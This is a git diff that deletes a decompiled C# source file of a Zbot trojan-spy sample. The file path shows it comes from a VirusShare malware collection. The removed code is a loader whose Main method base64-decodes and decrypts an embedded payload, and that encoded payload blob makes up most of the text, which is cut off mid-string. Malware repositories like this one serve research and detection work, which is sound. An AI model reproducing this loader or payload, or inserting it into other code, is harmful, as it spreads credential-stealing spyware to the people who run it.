EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccb.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccb.cs deleted file mode 100644 index c8ffe78d..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccb.cs +++ /dev/null @@ -1,511 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb -// Assembly: 1494342088, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D8834D99-94F0-4D07-8C3B-BB978F66BC3C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.ComponentModel; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; - -[StandardModule] -internal sealed class WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb -{ - [STAThread] - [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] - public static void Main() - { - byte[] numArray = WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.decrypt(Convert.FromBase64String("ZiC3cnIpKzZ+MSk2hY17cZApenNxcikmOjYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInq3oncn82kTh6hSD7W8p6PeUILhsYAQlWCFlOAxNKCxlGHB9GXxYYVAlEDxxbGEYJPjwiUkRJHlMHfH8tD3oncnEpKzYqdCk2NnN4cZS80z5xcikmejYpcZInKXssc3kpK3p6MSl6e3J7cSgp5BlxcikGejYp8XInK3pncnEJKzZ6Myk2fnJ7cSgpenN1cikmejYpcXInKXoncHEpKzZ6MSs2Ovd7cTgpemNxcikmajYpYXInK3oncmEpKzZ6MSk2enJ7cWRDenM+cikmerYpcWJuKnoncnEpKzZ6MSk2enJ7cSgpepNwciUmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7USgpcnNxcikmejYpcXInI1oncjkpKzZ6MSk2enJ7cQZdHwsFcikm3nwpcXIHK3onPnEpKzR6MSk2enJ7cSgpenNxcgkmelYHAwFVSHoncmFgKjZ6sSk2ejh6cShnenNxcikmejYpcXInK3pncnFpBUQfXUZVenJ3cSgpepNwcikkejYp6XMnK3oncnEpKzZ6MSk2OnJ7MygpenNxcikmejYpcXInK3qnGHEpKzZ6MWE2enJ5cS0pZjNxchkMejYocXInMHondHEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcjoWeTY2cXInKnonY3MBKTZ6NyvIfHF7cS5afHNxeFohejYje3RII3oneFspMAZ5MZ42enJ5cSg4ZP5gcikndj4/A3MnKwqFemZXITZ6NVIRenJ/0yAxCGhxclmEci9Xe3InLwEFcnEtiT5gQwQ2egLZeTNXcHNxdlIOejYt03o7WUUncgGLIysEOyk2fglScSgt2HtZeykmcDwrD3gnK35cU3EpLzBSNSk2fHl8HiIpenlnQzMhBDwpcXZcD3ondlkiKzZwHSvoX2dTfSgpcK1yVPcmBDwpcXZcDnondm4VcRaSMik2IFp2cSgjUd9bcig2ejYpcRAnHOMncXApKzdhASo22XJ7cSspemIDIykmCkgjcXIjUF0ncnUBJTZ6OyM0BHh7cSxSW3Nxdi8OfjYpd3kgRHAncns/Gih9M1I3enJ/WScpenldMSshUjMpcXQlLAcmcnEtAAVSBCk2fKx4V/YpUntxci/4eRD3cVoNK3ohrHIP9TZSCik2fKx4V/YpeA1hciksBzcpcXb5KFz5cg8jKzZ+Sgw2enZkTXIJknBxcnMOdzYpe0pV1IXYcnBpKzZ6MWc2fSd7cikpenJxcnEmfWkpcnMnK3snchMpLF96Mig2enN7cUQpfQBxcSgmejcpcWcnRfkncXApKzdpAS026nJ7cSwpemJnWjgmejwqWWAnK3BTZ3EpKjx8Q0I2egIUYigpcHUD3SkmClk9cXItLQQtcnEtUBJ6MS1Zb3J7ewA/enN7dkYxejYjenQgpRNNHWkpKzx8XjA2enh3eS8/ff0YHTMmejwhHmknK3AhHW0pKzx3OAQwBGJ7cSIDcxxsciksCSgpcXg0L2sjHW4pKzwVESk2cFhgQS0poXFxciwmeic//GMnK3stcWakMDZ6MCQ/bG1R7CFGW3NxeCP4eRD3cXQxsV80dkiGKTZ6zzpIK3J7dQVEZABSciksX0SQcXJXPVIDcnEjDkSxMSlGbVpfcSgjXwGucilWYh4NcXItDgjWcnFZMh5eMSk8XwB+cChZYFtVciksX0Q+cHJXMFIDcnEjDkRZMClGZlpfcSgjXwFAcylWZx4NcXIt1WmnI3EpL8hpT3g2enZqdTosUlZxciMfXjQpcWMibnIncnEoKzZ6dCk2eh17cSjpenNxYygmeroocXKaKnononApKxx8JrMeXHJ7e6gSenN1dDG8UhEpcXinFnondncwsR5SMSk8+jJ7cSwvYOlZWikmcLYWcXIjA04ncnf0lTd6MQ/rwnN7cS4+4FtXciks+jIpcXYhM+APWnEpIbZ8MSkyUnV7cS707nJxcg/79DcpcXQwsVIBcnEjqxh6MS0wYuhTVigpcPNBcikifC+zWVonK3CnQXEpLzBgqwEeenJx8Rwpend3abMOUjYpe/IWK3ojWlgpKzCncig2elSmTCkpenVm6AEAejYj8TQnK34hausBDDZ6O6l/enJ/dzGzUltxciOmNjYpdXQ9sVIPcnEjq3F6MS0wYehTWSgpcPM7cikiUgwpcXT62Xonclf0xzZ6MVc9enJ/AgEpenlqbSVJUDYpex0WK3ohAE4oK0ZSPyk2cH4IWigpcHVm6AEAejYjAzsmKwoPXnEpIUQpMClGclpWcSgjUl1xciNVVTYpe3kgREoncntbYjd6QQEaenJxA3soegN5WgQmejxGQHInIX1IQHEpIRCkRQ/oCwFUcSgjcXR3ZbMOXDYpewEUK3otHUUpKzx9Xhk2enhsHh0penl2HRsmejwPrzEB9TpZf3EpLzBtqwEQenJxHgspenVbdD68UgApcXgPIHoneFw9LSHgXh42engJJikpClt6ciksVjxXfHInLxUDcnEvATZ7aSk2enJ8cT40enBwciknejb3cUw7KnwmcnEoKzZYMA1we3R6cSgoenM9c2KxezAocXImK3q6czrBKjB7MSk3enKVcFBPeHBwciknejZAc1ywKXkmcnEoYTQEISk2cA96cSgteFtJciksUDY6QXcnrHoncncpKycENyk2fv94cSgo+nBxci1YfDYpdf8lK3om8nMpKzIENyk2fv9/cSgr+nZxci0wcB1kD3cnK34hDHUpKzIJOyk2fNAFcygpfnUPdykmfjCzj3QsK3ohAXcpKzzYTyo2enZ9Dyopend36FohejYj0wwkK3ojdOtGIzZ6Oy8hInh9Dy4pendD2QMmYQYrcVAnK3ohcnE4PTxRJFc1enJ/d7JGQ3NxePclXOgpd2V/IXxZdHEpLwSZGyk2e2J7cSgpfnN/YCklezYpcGwlA0IncnsDTTQJGik2cA9zcSgteFtJcikseDVUdnInL1AncnoZKTZtMSk2enJ7cSpScnNxditdfTYpdR0dK3otVK/FDeiTMSgmenJ7cSgpbmdxcSgmejcyQXEnongncnYpKycEOyk2fglpcSgtVmBZSSkmcBouZ3/6Rngncq8qDeh6TyM2enYAYigpfl9GWhUmejw6dWAjA0cncnsjNDxSPCk2cFpHcSgjaXZjdwEbejYjdys4IRAIdWck9hx4MSnoeVSlcVYjenN1CTwmejIFbAwsK3ojAC4oK0YVHyk2fF58ZyX0e3FxcvclXOgpD3gnK35cZnEpLxpnTyI2enYJHikpChxfcikgVjE/fK//KnonrHIP9TYEOyk2fgljcSgtVm4PeSkmfkRWcHJXRFQncncFLCB37IY3enKlcg73eg17cikiAS8pcXYLNgQscnEtWbl7MVlZVHJ7dwQubH6s9CgmeugqV6wnVXAncnVSOjZ6NQUrBHl7cSxb53JxAkYIejYvXXUx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bX+qcmIpKA16MSk2/GpmcCUpbnN9SSkmeja/cREiBXozcoUSKzZ6Mb82C3dVcTwpTk9xcikm/C40cH8nP3obTnEpKzb8KTQ323JvcXoVenNxcqgm8TOBcWQnf0YncnEprTbAMCQ2bXLjTCgpenPncoUjVDY+cfYZK3oncucpkDNUMT42vkx7cSgp/GtscyQmbTblT3InK3qhamworjZtMcUIenJ7ca4pwHJ8cjMmejYocbsiK3olcrwsKzZ7MfEzenJ6cckselNwcs4jehYrcV4hK3okckcvKzZ7MW8wenJ6cXgvenNwcnAgejYocSwhK3omchovKzZ4MVgwenJ4cVUvenNwcq0gejYoccgkK3omcuAvKzZ7MbAwenJ6cbYvenNwckIgejYrcdUhK3omcsAvKzZ7MZEyenJ5cZwvenNycuoiKzY0cMEnSno6c2YpQjZnMJI2C3JmcCUpA3Nsc+kmazY0cLQnMno6c70pMjbvNiQ283LZdv8p83PYdfQm8zaddpMnunrrdZYpMjarNs4283LZdtsp83Omdcgm8zbMdngnsnrYdY8pijZaOSo323JNeT8p23M3ej4m0zZ4eWUnmnpPengomjYIOSc323IAeTwo23PvejAnwzaGeWwm